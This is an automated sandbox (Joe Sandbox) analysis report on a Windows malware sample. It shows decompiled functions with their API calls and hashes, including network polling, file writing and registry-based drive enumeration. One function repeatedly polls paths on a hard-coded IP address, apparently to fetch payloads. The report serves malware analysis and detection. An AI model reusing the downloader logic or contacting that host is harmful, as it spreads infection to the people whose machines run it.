                                                                                                                                                                                                                                                                                                                                                      0x0040c3d7
                                                                                                                                                                                                                                                                                                                                                      0x0040c3e6
                                                                                                                                                                                                                                                                                                                                                      0x0040c403
                                                                                                                                                                                                                                                                                                                                                      0x0040c417
                                                                                                                                                                                                                                                                                                                                                      0x0040c424
                                                                                                                                                                                                                                                                                                                                                      0x0040c42f
                                                                                                                                                                                                                                                                                                                                                      0x0040c452
                                                                                                                                                                                                                                                                                                                                                      0x0040c457
                                                                                                                                                                                                                                                                                                                                                      0x0040c45d
                                                                                                                                                                                                                                                                                                                                                      0x0040c45d
                                                                                                                                                                                                                                                                                                                                                      0x0040c424
                                                                                                                                                                                                                                                                                                                                                      0x0040c3d9
                                                                                                                                                                                                                                                                                                                                                      0x0040c3de
                                                                                                                                                                                                                                                                                                                                                      0x0040c3de
                                                                                                                                                                                                                                                                                                                                                      0x0040c3a2
                                                                                                                                                                                                                                                                                                                                                      0x0040c3a5
                                                                                                                                                                                                                                                                                                                                                      0x0040c3a5
                                                                                                                                                                                                                                                                                                                                                      0x0040c46d

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040C3CE
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE(000003E8), ref: 0040C3DE
                                                                                                                                                                                                                                                                                                                                                      • StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040C3FB
                                                                                                                                                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040C411
                                                                                                                                                                                                                                                                                                                                                      • StrChrA.SHLWAPI(?,0000000D), ref: 0040C43E
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Sleeprecvfrom
                                                                                                                                                                                                                                                                                                                                                      • String ID: HTTP/1.1 200 OK$LOCATION:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 668330359-3973262388
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 36c585dfc041e8c4902b72e65f85d0a6872a6bf4aad077134a3245f0e93a3562
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 7a7b0d5e68f94ec381199072852bac281f708bbc84c30083d73ab251a676ba50
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 36c585dfc041e8c4902b72e65f85d0a6872a6bf4aad077134a3245f0e93a3562
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C52192B0900218EBDB20CB64DC85BE97774BB04308F10C6E9E709762C0C7B95AC68F5C
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040D330 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57networksleepCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 369 40d330-40d354 InternetOpenA 370 40d356-40d373 InternetOpenUrlA 369->370 371 40d3c8-40d3d9 Sleep 369->371 372 40d375-40d39c HttpQueryInfoA 370->372 373 40d3be-40d3c2 InternetCloseHandle 370->373 374 40d3b4-40d3b8 InternetCloseHandle 372->374 375 40d39e-40d3a6 372->375 373->371 374->373 375->374 376 40d3a8-40d3b0 375->376 376->374
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E0040D330(char* _a4, intOrPtr* _a8) {
				void* _v8;
				char _v9;
				void* _v16;
				void _v20;
				long _v24;
				void* _t21;
				void* _t24;

				_v9 = 0;
				_t21 = InternetOpenA("Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36", 1, 0, 0, 0); // executed
				_v16 = _t21;
				if(_v16 != 0) {
					_t24 = InternetOpenUrlA(_v16, _a4, 0, 0, 0, 0); // executed
					_v8 = _t24;
					if(_v8 != 0) {
						_v24 = 4;
						HttpQueryInfoA(_v8, 0x20000005,  &_v20,  &_v24, 0);
						if(_v20 > 0x1388 && _v20 !=  *_a8) {
							 *_a8 = _v20;
							_v9 = 1;
						}
						InternetCloseHandle(_v8); // executed
					}
					InternetCloseHandle(_v16);
				}
				Sleep(0x3e8); // executed
				return _v9;
			}










                                                                                                                                                                                                                                                                                                                                                      0x0040d336
                                                                                                                                                                                                                                                                                                                                                      0x0040d347
                                                                                                                                                                                                                                                                                                                                                      0x0040d34d
                                                                                                                                                                                                                                                                                                                                                      0x0040d354
                                                                                                                                                                                                                                                                                                                                                      0x0040d366
                                                                                                                                                                                                                                                                                                                                                      0x0040d36c
                                                                                                                                                                                                                                                                                                                                                      0x0040d373
                                                                                                                                                                                                                                                                                                                                                      0x0040d375
                                                                                                                                                                                                                                                                                                                                                      0x0040d38f
                                                                                                                                                                                                                                                                                                                                                      0x0040d39c
                                                                                                                                                                                                                                                                                                                                                      0x0040d3ae
                                                                                                                                                                                                                                                                                                                                                      0x0040d3b0
                                                                                                                                                                                                                                                                                                                                                      0x0040d3b0
                                                                                                                                                                                                                                                                                                                                                      0x0040d3b8
                                                                                                                                                                                                                                                                                                                                                      0x0040d3b8
                                                                                                                                                                                                                                                                                                                                                      0x0040d3c2
                                                                                                                                                                                                                                                                                                                                                      0x0040d3c2
                                                                                                                                                                                                                                                                                                                                                      0x0040d3cd
                                                                                                                                                                                                                                                                                                                                                      0x0040d3d9

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenA.WININET(Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040D347
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040D366
                                                                                                                                                                                                                                                                                                                                                      • HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040D38F
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040D3B8
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040D3C2
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE(000003E8), ref: 0040D3CD
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36, xrefs: 0040D342
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
                                                                                                                                                                                                                                                                                                                                                      • String ID: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2743515581-3364014121
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 7cae087ba8c48712e4558e2fa8863d05e34ae6eba76b609dec4af7faf417dc59
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: c00a9465ac8772b46349142f40b77b511ad80e66adb96f430c78034538f9682e
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7cae087ba8c48712e4558e2fa8863d05e34ae6eba76b609dec4af7faf417dc59
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E121FC74E40208FBDB11DF94CC49FDEB7B5AB04705F108565FA116B2C0C7B96A44CB59
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00409550 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 74fileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 377 409550-40955d 378 409564-409582 call 408a10 377->378 379 40955f 377->379 380 40963c-40963f 378->380 383 409588-40958f 378->383 379->380 384 40959a-4095a3 383->384 385 4095d4-4095f5 CreateFileW 384->385 386 4095a5-4095d2 384->386 388 409623-409639 InterlockedExchange call 408b60 385->388 389 4095f7-40961d WriteFile FlushFileBuffers CloseHandle 385->389 386->384 388->380 389->388
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00409550(void* __eax) {
				void* _v8;
				long _v12;
				void* _v16;
				signed int _v20;
				long _v24;
				signed int _t36;
				void* _t38;
				void* _t40;
				signed int _t65;

				if( *0x4156e4 == 0) {
					return __eax;
				}
				_t36 =  *0x4156e4; // 0x200
				_v12 = _t36 << 3;
				_t38 = E00408A10(_v12);
				_v8 = _t38;
				__eflags = _v8;
				if(_v8 != 0) {
					_v20 = 0;
					while(1) {
						__eflags = _v20 -  *0x4156e4; // 0x200
						if(__eflags >= 0) {
							break;
						}
						 *((intOrPtr*)(_v8 + _v20 * 8)) =  *((intOrPtr*)( *((intOrPtr*)(0x4156e8 + _v20 * 4)) + 4));
						 *((intOrPtr*)(_v8 + 4 + _v20 * 8)) =  *((intOrPtr*)( *((intOrPtr*)(0x4156e8 + _v20 * 4)) + 8));
						_t65 = _v20 + 1;
						__eflags = _t65;
						_v20 = _t65;
					}
					_t40 = CreateFileW("C:\Users\alfons\tbnds.dat", 0x40000000, 0, 0, 2, 2, 0); // executed
					_v16 = _t40;
					__eflags = _v16 - 0xffffffff;
					if(_v16 != 0xffffffff) {
						WriteFile(_v16, _v8, _v12,  &_v24, 0); // executed
						FlushFileBuffers(_v16);
						CloseHandle(_v16);
					}
					InterlockedExchange(0x4133b4, 0x3d);
					return E00408B60(_v8);
				}
				return _t38;
			}












                                                                                                                                                                                                                                                                                                                                                      0x0040955d
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409564
                                                                                                                                                                                                                                                                                                                                                      0x0040956c
                                                                                                                                                                                                                                                                                                                                                      0x00409573
                                                                                                                                                                                                                                                                                                                                                      0x0040957b
                                                                                                                                                                                                                                                                                                                                                      0x0040957e
                                                                                                                                                                                                                                                                                                                                                      0x00409582
                                                                                                                                                                                                                                                                                                                                                      0x00409588
                                                                                                                                                                                                                                                                                                                                                      0x0040959a
                                                                                                                                                                                                                                                                                                                                                      0x0040959d
                                                                                                                                                                                                                                                                                                                                                      0x004095a3
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004095b8
                                                                                                                                                                                                                                                                                                                                                      0x004095ce
                                                                                                                                                                                                                                                                                                                                                      0x00409594
                                                                                                                                                                                                                                                                                                                                                      0x00409594
                                                                                                                                                                                                                                                                                                                                                      0x00409597
                                                                                                                                                                                                                                                                                                                                                      0x00409597
                                                                                                                                                                                                                                                                                                                                                      0x004095e8
                                                                                                                                                                                                                                                                                                                                                      0x004095ee
                                                                                                                                                                                                                                                                                                                                                      0x004095f1
                                                                                                                                                                                                                                                                                                                                                      0x004095f5
                                                                                                                                                                                                                                                                                                                                                      0x00409609
                                                                                                                                                                                                                                                                                                                                                      0x00409613
                                                                                                                                                                                                                                                                                                                                                      0x0040961d
                                                                                                                                                                                                                                                                                                                                                      0x0040961d
                                                                                                                                                                                                                                                                                                                                                      0x0040962a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00409639
                                                                                                                                                                                                                                                                                                                                                      0x0040963f

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNELBASE(C:\Users\user\tbnds.dat,40000000,00000000,00000000,00000002,00000002,00000000), ref: 004095E8
                                                                                                                                                                                                                                                                                                                                                      • WriteFile.KERNELBASE(000000FF,00000000,?,?,00000000), ref: 00409609
                                                                                                                                                                                                                                                                                                                                                      • FlushFileBuffers.KERNEL32(000000FF), ref: 00409613
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 0040961D
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchange.KERNEL32(004133B4,0000003D), ref: 0040962A
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • C:\Users\user\tbnds.dat, xrefs: 004095E3
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
                                                                                                                                                                                                                                                                                                                                                      • String ID: C:\Users\user\tbnds.dat
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 442028454-1131955276
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 461b2acbafcc65ac04b2599abd7c76f5478ffafe04298b5cf2d4bad18d4c9a8c
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 2ffc30a578c88fb727a6e2804b49e756420dce523dc86a649cc100c8bc156063
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 461b2acbafcc65ac04b2599abd7c76f5478ffafe04298b5cf2d4bad18d4c9a8c
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1A314BB4A00208EBCB14DF94DD85BEEB7B0FB88300F208569E51567391C779AE41CB58
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00404C20 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55registryCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00404C20() {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				void* _v28;
				char _v32;
				int _v36;
				long _t26;
				long _t31;
				long _t35;
				void* _t44;

				_t26 = GetLogicalDrives(); // executed
				_v20 = _t26;
				_v16 = 0;
				_v12 = 0x80000002;
				_v8 = 0x80000001;
				_v24 = 0;
				while(_v24 < 2) {
					_t31 = RegOpenKeyExW( *(_t44 + _v24 * 4 - 8), L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, 0x20019,  &_v28); // executed
					if(_t31 == 0) {
						_v32 = 0;
						_v36 = 4;
						_t35 = RegQueryValueExW(_v28, L"NoDrives", 0, 0,  &_v32,  &_v36); // executed
						if(_t35 == 0 && _v32 != 0) {
							_v16 = _v16 | _v32;
						}
						RegCloseKey(_v28);
					}
					_v24 = _v24 + 1;
				}
				return  !_v16 & _v20;
			}















                                                                                                                                                                                                                                                                                                                                                      0x00404c26
                                                                                                                                                                                                                                                                                                                                                      0x00404c2c
                                                                                                                                                                                                                                                                                                                                                      0x00404c2f
                                                                                                                                                                                                                                                                                                                                                      0x00404c36
                                                                                                                                                                                                                                                                                                                                                      0x00404c3d
                                                                                                                                                                                                                                                                                                                                                      0x00404c44
                                                                                                                                                                                                                                                                                                                                                      0x00404c56
                                                                                                                                                                                                                                                                                                                                                      0x00404c74
                                                                                                                                                                                                                                                                                                                                                      0x00404c7c
                                                                                                                                                                                                                                                                                                                                                      0x00404c7e
                                                                                                                                                                                                                                                                                                                                                      0x00404c85
                                                                                                                                                                                                                                                                                                                                                      0x00404ca1
                                                                                                                                                                                                                                                                                                                                                      0x00404ca9
                                                                                                                                                                                                                                                                                                                                                      0x00404cb7
                                                                                                                                                                                                                                                                                                                                                      0x00404cb7
                                                                                                                                                                                                                                                                                                                                                      0x00404cbe
                                                                                                                                                                                                                                                                                                                                                      0x00404cbe
                                                                                                                                                                                                                                                                                                                                                      0x00404c53
                                                                                                                                                                                                                                                                                                                                                      0x00404c53
                                                                                                                                                                                                                                                                                                                                                      0x00404cd1

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetLogicalDrives.KERNELBASE ref: 00404C26
                                                                                                                                                                                                                                                                                                                                                      • RegOpenKeyExW.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00404C74
                                                                                                                                                                                                                                                                                                                                                      • RegQueryValueExW.KERNELBASE(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00404CA1
                                                                                                                                                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?), ref: 00404CBE
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • NoDrives, xrefs: 00404C98
                                                                                                                                                                                                                                                                                                                                                      • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 00404C67
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CloseDrivesLogicalOpenQueryValue
                                                                                                                                                                                                                                                                                                                                                      • String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2666887985-3471754645
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 45e77d1eb8da3679971fd438734ab8ce6999d49331f709e79ad81f84acf3e0ce
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 089c448eddedc734fb2ecb025645128047185f429c430253d4ccfd08190328bc
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 45e77d1eb8da3679971fd438734ab8ce6999d49331f709e79ad81f84acf3e0ce
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 07110DB0E0020ADBEB14CFD0D945BEEBBB4FB48704F108119E611B7280D3B85645CF99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040BA90 Relevance: 9.1, APIs: 6, Instructions: 80threadCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E0040BA90(signed int* _a4, long _a8, _Unknown_base(*)()* _a12, void* _a16, DWORD* _a20, HANDLE* _a24) {
				long _v8;
				signed int* _v12;
				void* _v16;
				void* _t45;
				void* _t49;

				_v8 = 0;
				if(_a4 == 0) {
					L8:
					return _v8;
				}
				_v12 = _a4;
				EnterCriticalSection( &(_v12[1]));
				E0040BA10( &(_v12[1]), _v12);
				if(_a12 != 0) {
					_v12[7] = E00408A50(_v12[7], 4 +  *_v12 * 4, _v12[7], 4 +  *_v12 * 4);
					if(_v12[7] != 0) {
						_t45 = CreateThread(0, _a8, _a12, _a16, 0, _a20); // executed
						_v16 = _t45;
						if(_v16 != 0) {
							 *((intOrPtr*)(_v12[7] +  *_v12 * 4)) = _v16;
							 *_v12 =  *_v12 + 1;
							if(_a24 != 0) {
								_t49 = GetCurrentProcess();
								DuplicateHandle(GetCurrentProcess(), _v16, _t49, _a24, 0, 0, 2);
							}
							_v8 = 1;
						}
					}
				}
				LeaveCriticalSection( &(_v12[1]));
				goto L8;
			}








                                                                                                                                                                                                                                                                                                                                                      0x0040ba96
                                                                                                                                                                                                                                                                                                                                                      0x0040baa1
                                                                                                                                                                                                                                                                                                                                                      0x0040bb78
                                                                                                                                                                                                                                                                                                                                                      0x0040bb7e
                                                                                                                                                                                                                                                                                                                                                      0x0040bb7e
                                                                                                                                                                                                                                                                                                                                                      0x0040baaa
                                                                                                                                                                                                                                                                                                                                                      0x0040bab4
                                                                                                                                                                                                                                                                                                                                                      0x0040babe
                                                                                                                                                                                                                                                                                                                                                      0x0040baca
                                                                                                                                                                                                                                                                                                                                                      0x0040baef
                                                                                                                                                                                                                                                                                                                                                      0x0040baf9
                                                                                                                                                                                                                                                                                                                                                      0x0040bb0f
                                                                                                                                                                                                                                                                                                                                                      0x0040bb15
                                                                                                                                                                                                                                                                                                                                                      0x0040bb1c
                                                                                                                                                                                                                                                                                                                                                      0x0040bb2c
                                                                                                                                                                                                                                                                                                                                                      0x0040bb3a
                                                                                                                                                                                                                                                                                                                                                      0x0040bb40
                                                                                                                                                                                                                                                                                                                                                      0x0040bb4c
                                                                                                                                                                                                                                                                                                                                                      0x0040bb5e
                                                                                                                                                                                                                                                                                                                                                      0x0040bb5e
                                                                                                                                                                                                                                                                                                                                                      0x0040bb64
                                                                                                                                                                                                                                                                                                                                                      0x0040bb64
                                                                                                                                                                                                                                                                                                                                                      0x0040bb1c
                                                                                                                                                                                                                                                                                                                                                      0x0040baf9
                                                                                                                                                                                                                                                                                                                                                      0x0040bb72
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040BAB4
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BA10: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040BA50
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BA10: CloseHandle.KERNEL32(?), ref: 0040BA69
                                                                                                                                                                                                                                                                                                                                                      • CreateThread.KERNELBASE ref: 0040BB0F
                                                                                                                                                                                                                                                                                                                                                      • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040BB4C
                                                                                                                                                                                                                                                                                                                                                      • GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040BB57
                                                                                                                                                                                                                                                                                                                                                      • DuplicateHandle.KERNEL32(00000000), ref: 0040BB5E
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(-00000004), ref: 0040BB72
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2251373460-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 3782f769450ed6582a1443bec581f483a9540fc43a2cdbaa5fa004088d036f1b
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: e032b862b2e28ba773953d60cf18c6906d65e3a157070247055cde097aad60f0
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3782f769450ed6582a1443bec581f483a9540fc43a2cdbaa5fa004088d036f1b
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1B311E74A00208EFDB14DF94D889F9E7BB5FF48304F1085A9E905A7391D779AA81CF98
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00405C60 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 58sleepCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 91%
                                                                                                                                                                                                                                                                                                                                                      			E00405C60() {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				signed int _v172;
				signed char _t35;
				void* _t45;
				void* _t46;

				_v44 = 0;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_v28 = 0;
				_v24 = 0;
				_v20 = 0;
				_v16 = 0;
				_v12 = 0;
				_v8 = 0;
				_v168 = 0x411100;
				_v164 = 0x411104;
				_v160 = 0x411108;
				_v156 = 0x41110c;
				_v152 = 0x411110;
				while(1) {
					Sleep(0x3e8); // executed
					_v172 = 0;
					while(_v172 < 5) {
						Sleep(0x3e8);
						_push( *((intOrPtr*)(_t45 + _v172 * 4 - 0xa4)));
						_push("http://185.215.113.66/");
						wsprintfA( &_v148, "%s%s");
						_t35 = E0040D330( &_v148, _t45 + _v172 * 4 - 0x28); // executed
						_t46 = _t46 + 0x18;
						if((_t35 & 0x000000ff) == 1) {
							E0040D3E0( &_v148, 0); // executed
							_t46 = _t46 + 8;
						}
						_v172 = _v172 + 1;
					}
					Sleep(0xdbba0); // executed
				}
			}























                                                                                                                                                                                                                                                                                                                                                      0x00405c69
                                                                                                                                                                                                                                                                                                                                                      0x00405c72
